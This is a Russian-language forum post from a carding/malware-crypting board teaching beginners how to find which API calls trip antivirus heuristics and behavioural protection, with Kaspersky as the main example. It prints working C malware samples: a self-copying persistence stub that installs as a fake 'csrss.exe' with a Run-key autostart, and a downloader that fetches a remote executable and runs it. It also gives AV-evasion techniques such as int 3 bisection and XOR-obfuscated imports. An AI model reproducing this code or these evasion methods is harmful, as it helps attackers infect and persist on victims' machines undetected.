1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Учимся узнавать, что не нравится антивирусу

Тема в разделе "Чистка Stub", создана пользователем vasenka444, 19 май 2015.

  1. TopicStarter Overlay
    vasenka444

    vasenka444

    Регистрация:
    19 апр 2014
    Сообщения:
    299
    Симпатии:
    202
    Учимся узнавать на что ругается поведенческая защита на примере Kaspersky Internet Security 2015. В конце научимся понимать что не нравится эвристике на примере многих антивирусов)

    Здравствуйте, уважаемые форумчане. Данная статья рассчитана на минимальные знания и создана для того, чтобы помочь новичкам стать лучше.
    Надеюсь, данная статья будет полезна. При ее написании я исходил прежде всего из того, что бы было интересно мне, когда я был новичком в этой теме.

    Я понимаю, что она несовершенная и прошу простить, ведь это моя первая статья в жизни [​IMG]

    Что нам понадобится?
    - Сэмпл. В статье будем его компилировать с помощью Visual Studio
    - OllyDbg
    - Kaspersky Internet Security 2015
    - По желанию виртуальная машина, для удобств.

    Итак начнем, для начала начнем с сэмпла.

    Немного отойду от темы:
    Создаем новый проект, выбираем пустой проект ( Empty Project ).

    Ставим релиз конфигурацию, в настройках проекта -> линкер -> отключаем Debug инфу. ( Это я пытаюсь в вас зародить привычку делать это всегда [​IMG] )

    В настройках проекта: C/C++ -> Code generation отключаем Security Check (GS-).


    Это все было описано для настройки проекта, чтобы он нормально скомпилировал код, что и приведу дальше.
    Собственно наш код будет устанавливаться в папку AppData и добавлять себя в автозагрузку, запуская себя
    из папки AppData. Естественно, такое будет ловиться и эвристикой, и проактивкой, а мы попробуем понять на
    какие именно функции ругается KIS.
    Код:
    
    #define UNICODE
    
    #include <windows.h>
    
    #pragma comment(linker, "/GS /NODEFAULTLIB:MSVCRT /SUBSYSTEM:WINDOWS /ENTRY:main")
    
    struct Data // необходимые структуры
    {
    wchar_t Self[256];
    wchar_t AppData[256];
    };
    
    bool strcompn(wchar_t *first, wchar_t *second, int n) // lstrcmpW не до конца одной из строки, а до заданной длины.
    {
    bool result = true;
    if (n <= lstrlenW(first))
    {
    for (int i = 0; i < n; i++)
    if (first != second) result = false;
    }
    else result = false;
    return result;
    }
    
    void Installed()
    {
    MessageBoxA(0, "We are installed successfully!!! AV FUCKED!!!", "Great!", MB_ICONINFORMATION);
    }
    
    int main()
    {
    Data *Path = (Data*)VirtualAlloc(0, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // выделяем память
    if (Path)
    {
    GetModuleFileNameW(0, Path->Self, 256);
    int i;
    for (i = lstrlenW(Path->Self); Path->Self != '\\'; i--);
    GetEnvironmentVariableW(L"AppData", Path->AppData, 256);
    
    if (strcompn(Path->Self, Path->AppData, i)) // тут мы проверяем, запущены мы из AppData или нет, если запущены выводим сообщение об успешном обходе ав, иначе устанавливаемся в систему
    {      // GetCurrentDirectory использовать опасно, так как может оказаться, что мы будем запущены через ShellExecute и CurrentDirectory будет процесса, что нас запустил, как пример, лишь скромный пример...
      VirtualFree(Path, 0, MEM_RELEASE);
      Installed();
      ExitProcess(0);
    }
    else
    {
      lstrcatW(Path->AppData, L"\\csrss.exe");
      if (GetFileAttributesW(Path->AppData) != -1) DeleteFileW(Path->AppData); // если уже есть в системе, то удалим наш старый файл
    
      CopyFileW(Path->Self, Path->AppData, 0); // копируемся
    
      HKEY hKey;
      RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey);
      RegSetValueExW(hKey, L"Av fucker", 0, REG_SZ, (LPBYTE)Path->AppData, lstrlenW(Path->AppData) * 2);
      RegCloseKey(hKey);
    
      LPSTARTUPINFO lsi = (LPSTARTUPINFO)VirtualAlloc(0, sizeof(STARTUPINFO), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
      if (lsi)
      {
       lsi->cb = sizeof(STARTUPINFO);
    
       PROCESS_INFORMATION pi;
       while (!CreateProcessW(0, Path->AppData, 0, 0, 0, 0, 0, 0, lsi, &pi)); // пытаемся в цикле запустить процесс до тех пор, пока не запустим
       CloseHandle(pi.hThread);
       CloseHandle(pi.hProcess);
    
       VirtualFree(lsi, 0, MEM_RELEASE);
      }
    
    
    }
    
    
    VirtualFree(Path, 0, MEM_RELEASE);
    }
    
    ExitProcess(0);
    }
    

    Включаем на системе без ав - все ок, появляется сообщение, что успешно заражено. Рестартаем комп, появляется. Ок

    Кидаем на виртуалку с KIS'м и... ничего не детектит, хотя на refud.me и viruscheckmate палит

    Сам детект на refud.me
    [​IMG]
    В чем проблема я так и не разобрался, настройки стоят на максимуме. Ну да ладно, будем тестировать сначала проактивную защиту,
    эвристику потестим на примере URLDownloadToFileA в конце статьи.

    Запускаем на виртуальной машине ( или еще где-либо, если там стоит KIS [​IMG] ) и получаем такое: PDM.Trojan.Win32.Generic

    Для того, чтобы узнать на что ругается - открываем OllyDbg, в нем выбираем наш файл, и делаем пошаговую трассифировку до детекта.
    Там где детект выбьет - та функция и палится. На основе данных обнаруживаем, что Kaspersky - тугодум, я выполнил CopyFile и буквально
    через 10 секунд только выбил детект. Поэтому вопросы почему вредоносы успевают сделать инжект кода куда надо и даже отправить данные
    прежде чем KIS выбивает детект, думаю, отпадают [​IMG]
    Так что HIPS у KIS не надежен, как, судя по всему, и эвристика. Интересно, если исполнить через горячую клавишу F4 на адрес после RegSetValueEx, то выбивает
    детект сразу. Кстати, опять же с трассифировкой без пауз долгих выдал детект только на RegCloseKey. В случае с запуском на реальной машине
    поток приостанавливает, но не тут. Идея: обход HIPS KIS'а через самотрассифировку.

    Недостатков таких, например, у DrWeb или Nod32 я не обнаруживал - бьют тревогу сразу.

    Пойдем дальше, теперь на очереди эвристика и такой код:
    Код:
    
    #define UNICODE
    
    #include <windows.h>
    
    #pragma comment(linker, "/GS /NODEFAULTLIB:MSVCRT /SUBSYSTEM:WINDOWS /ENTRY:main")
    #pragma comment(lib, "urlmon.lib")
    
    int main()
    {
    wchar_t *Temp = (wchar_t*)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (Temp)
    {
    GetTempPathW(256, Temp);
    lstrcatW(Temp, L"\\ShittyAv.exe");
    while (URLDownloadToFileW(0, L"http://mysite.com/file.exe", Temp, 0, 0) != S_OK);
    ShellExecuteW(0, L"open", Temp, 0, 0, SW_SHOW);
    VirtualFree(Temp, 0, MEM_RELEASE);
    }
    ExitProcess(0);
    }
    
    Видим детект:
    [​IMG]
    Эвристика довольно сложна и она может давать детект основываясь на последовательности вызовов API, а может и по таблице импорта, строкам
    или вообще по заголовку PE файла, как, например, мерзкая Avira со своим Crypt.XPACK

    Для того, чтобы понять где у нас идет детект нам надо вызвать исключение из-за которого выполнение прекратиться, сделать это
    можно с помощью inline ассемблера. Вставляем в начало функции main такую строчку: _asm int 3;
    компилируем. Если детект остается, то он идет либо по импорту, либо по именам/строкам и т.д. Если пропадает, то детект благодаря эмуляции.

    Сравним детект при подстановки int 3:
    [​IMG]
    Сразу видим какие антивирусы почему бьют детект, касперский бьет по коду, т.е последовательности вызовов api, a.k.a эмулирует.

    Чтобы понять на какую функцию ругается - перемещаем int 3 за вызов следующей функции, я перемещу между URLDownloadToFile и ShellExecute

    [​IMG]
    Kaspersky не палит, значит ему на вызов одной только URLDownloadToFile глубоко наплевать. Но, добавился VBA, значит, VBA палит
    именно на вызов URLDownloadToFile и ему все равно, есть ли у нас в коде запуск или нет.

    Переместим int 3 еще дальше, после ShellExecute

    У нас добавляется Kaspersky и avg. Логично предположить, что на один вызов ShellExecute они не будут ругаться.
    А значит, ругаются на связку URLDownloadToFile и ShellExecute.

    В случае если это непонятно, то убираем URLDownloadToFile, оставляя только ShellExecute и убеждаемся, что детекта нет.

    Кстати, детект Panda'ы антивируса пропал, во прикол, поди их пойми [​IMG]

    Для того, чтобы избавиться от детектов антивирусов, что палят по коду нужно найти либо антиэмуляцию от них, либо
    найти такой прием запуска файла, про который они не догадываются. Про импорт и строки думаю и говорить не стоит: GetProcAddress, имя функции поксорено и
    расшифровывается перед получением его адреса. Потом по указателю вызывается, детекты антивирусов по импорту и строкам отпадут.

    Удачи, с вами был Suffocation, надеюсь статья вам понравилась [​IMG]

    P.S. Надеюсь, про сигнатурный анализ ничего говорить не надо [​IMG]

    P.P.S. И еще надеюсь, что "странные" переходы на новую строку не мешали читать. Изначально писал статью в блокноте, так как браузер не удобен [​IMG]

    UPD: решил добавить, как прикрутить int 3 для Delphi-юзеров:
    Код:
    asm
    int 3
    end;
    
    Ну, кодерам на асме думаю не надо говорить, что писать

    Copyrights: exploit
     
    Метки:

Поделиться этой страницей

Загрузка...